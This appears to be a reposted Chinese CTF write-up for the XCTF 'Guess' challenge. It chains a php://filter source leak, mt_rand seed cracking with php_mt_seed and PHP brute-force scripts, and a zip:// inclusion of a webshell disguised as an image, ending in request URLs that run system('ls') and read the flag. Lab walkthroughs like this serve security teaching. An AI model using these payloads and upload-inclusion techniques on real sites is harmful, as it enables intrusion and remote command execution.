• 文件上传漏洞


    XCTF体验题库 : Guess

    【原理】文件上传漏洞
    【目的】了解使用zip协议
    【目标url】http://111.198.29.45:31219/(xctf环境可能已下线)

    0x00 首先分析一下,随便上传一张jpg图片上传,跳转到 http://111.198.29.45:31219/?page=upload想到文件包含漏洞,尝试用php://filter伪协议去读源码

    http://111.198.29.45:31219/?page=php://filter/read=convert.base64-encode/resource=upload这里注意.php是自动补的,不需要写。
    

    0x01 Base64 decode解密

    <?php
    error_reporting(0);
    function show_error_message($message)
    {
        die("<div class="msg error" id="message">
        <i class="fa fa-exclamation-triangle"></i>$message</div>");
    }
    
    function show_message($message)
    {
        echo("<div class="msg success" id="message">
        <i class="fa fa-exclamation-triangle"></i>$message</div>");
    }
    
    function random_str($length = "32")//上传的文件被重命名
    {
        $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
            "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
            "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
            "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
            "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
        $str = '';
    
        for ($i = 1; $i <= $length; ++$i) {
            $ch = mt_rand(0, count($set) - 1);
            $str .= $set[$ch];
        }
    
        return $str;
    }
    
    session_start();
    
    
    
    $reg='/gif|jpg|jpeg|png/';
    if (isset($_POST['submit'])) {
    
        $seed = rand(0,999999999);// 生成随机数做种子
        mt_srand($seed);// 用seed给随机数发生器播种
        $ss = mt_rand();// 取随机数
        $hash = md5(session_id() . $ss);//Burp改包Cookie: PHPSESSID=0
        setcookie('SESSI0N', $hash, time() + 3600);
    //可以看见,在mt_srand()播种之后执行了第一次mt_rand(),而且变量$hash的值是可见的。
    //但$hash的值是session_id()的返回值与种子拼接后再 MD5 的结果。
        if ($_FILES["file"]["error"] > 0) {
            show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
        }
        $check2 = ((($_FILES["file-upload-field"]["type"] == "image/gif")    
                || ($_FILES["file-upload-field"]["type"] == "image/jpeg")
                || ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
                || ($_FILES["file-upload-field"]["type"] == "image/png"))
            && ($_FILES["file-upload-field"]["size"] < 204800));
        $check3=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));
    
    
        if ($check3) show_error_message("Nope!");
        if ($check2) {   
            $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
            if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
                show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
            } else show_error_message("Something wrong with the upload...");
        } else {
            show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
        }
    }
    ?>
    

    函数mt_rand()在种子相同的时候,给出的随机数序列是一样的,所以只要知道了种子,该函数的随机数便可以预测。
    这样子上传路径就知道了

    0x02 将含有一句话的php压缩成zip(我一直压成rar了貌似应该也行),重命名成jpg, 上传得到。

    重点在文件名,文件名是随机生成的。
    审计代码上传的文件名被改了嘛,爆一爆先是 mt_srand(rand(0, 999999999)) 设置个 seed, 然后返回第一个 mt_rand() ,使用 php_mt_seed 爆破种子。
    mt_srand() 的 seed 和输出序列是对应的,根据第一个 mt_rand() 爆出 seed, 就可以知道文件名,进行包含了。

    菜刀连接http://111.198.29.45:31219/?page=zip://./uP1O4Ds/xxx.jpg%231.php
    无论是rand()函数还是mt_rand()函数,当随机数种子相同的时候,无论运行多少次,产生的随机数序列都是一样的,大牛已经用c写了一个爆破种子程序

    0x03 php_mt_seed,emmm这里采用的3.4推荐4.0见后面(这步可大致瞅瞅)

    http://www.openwall.com/php_mt_seed/
    首先我们下好.tar.gz
    sudo tar -zxvf php_mt_seed-3.4.tar.gz -C ../ctf(解压到ctf文件夹里)
    进入ctf先make(c的就是这样),出来个php_mt_seed
    可以先写个PHP看一下本机的mt_rand()
    php -r ‘echo mt_rand().” ”;’ //echo输出php自动播种种子,自动生成随机数(1416....)
    在这里插入图片描述
    ./php_mt_seed 1416259324 //用php_mt_seed工具把产生的随机数作为参数去爆破
    种子(1349365831)
    在这里插入图片描述
    是 php manual 中说,自动播种种子是指:在每次调用 mt_rand()函数之前都播种一次种子呢,还是多次调用 mt_rand()函数之前,只播种一次种子呢,这对于我们能否猜到产生的随机数序列至关重要.
    在这里插入图片描述

    0x04 再实践

    在测试中,在没有进行手工播种的情况下产生两个连续的随机数,然后去爆破种子,得到了三个可能种子,经过测试发现其中一个种子产生的随机数序列和预期的相同,所以可以猜想在php中产生一系列的随机数时,只进行了一次播种!想了解到更多
    php的随机数的安全性分析

    test.php

    <?php  
    ini_set('max_execution_time', '0');
    	$std = "4b7a77dc528575247da8e4d51f9a8d2f";  // cookie 中的 SESSION
        for($i=0;$i<=999999999;$i++) {
            $ha = md5("0" . $i);  //设为0而不是空
            if($ha === $std) {
                echo "Success-----------=>" . $i;
                // 爆出随机数为 i
                break;
            }
            if($i % 100000000 == 0) echo $i . "
    ";
        }
    ?>
    

    222.php

    <?php
    $arr = array(2317092339,2686457404,3610056016,3610056017);  //爆出来的种子把上图的数值填进去
    foreach($arr as $a) {
        mt_srand($a);
        $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
                     "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
                     "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
                     "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
                     "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
        $str = '';
        $ss = mt_rand(); //与服务器的随机数对应
        for ($i = 1; $i <= 32; ++$i) {
            $ch = mt_rand(0, count($set) - 1);
            $str .= $set[$ch];
        }
    
        // echo 'zip://uP1O4Ds/' . $str . '_test.png%23test&a=phpinfo();' . "<br>";
        echo 'http://111.198.29.45:57784/?page=phar://uP1O4Ds/' . $str . '_test.png/test' . <br>;
    }
    ?>
    

    得到路径
    在这里插入图片描述
    http://111.198.29.45:57784/?page=zip://uP1O4Ds/v4dV3rcjpbV8hdjiyVmlwKomjEe8UeFq_test.png%23test/test&a=phpinfo();
    http://111.198.29.45:57784/?page=zip://uP1O4Ds/v4dV3rcjpbV8hdjiyVmlwKomjEe8UeFq_test.png%23test/test&a=echo system('ls');
    http://111.198.29.45:57784/?page=zip://uP1O4Ds/v4dV3rcjpbV8hdjiyVmlwKomjEe8UeFq_test.png%23test/test&a=echo system('cat ./flag-Edi98vJF8hnIp.txt');

    zip 伪协议配合文件包含
    某些情况下,环境中存在文件包含漏洞并且可以上传文件,但是只限 jpg 文件。
    这时候可以用 zip 协议,用法如下:
    zip://path/archive.zip#dir/file.txt
    这个 zip 文件不一定要以.zip为后缀,只要该文件有 zip 正常的文件结构即可。
    比如我要上传一个shell.php,可以先添加进压缩包pack.zip中,然后重命名为pack.jpg。
    这时候上传这个 jpg 文件,然后使用如 zip 伪协议进行包含:
    zip://pack.jpg#shell.php

  • 相关阅读:
    JS: Promise
    JS: 数据结构与算法之栈
    JS: 数组乱序
    JS: 数组扁平化
    JS:函数柯里化
    JS: 防抖节流
    JS:事件委托
    理解Node.js(译文)
    Javascript闭包入门(译文)
    你真的懂ajax吗?
  • 原文地址:https://www.cnblogs.com/qq3285862072/p/11966474.html
Copyright © 2020-2023  润新知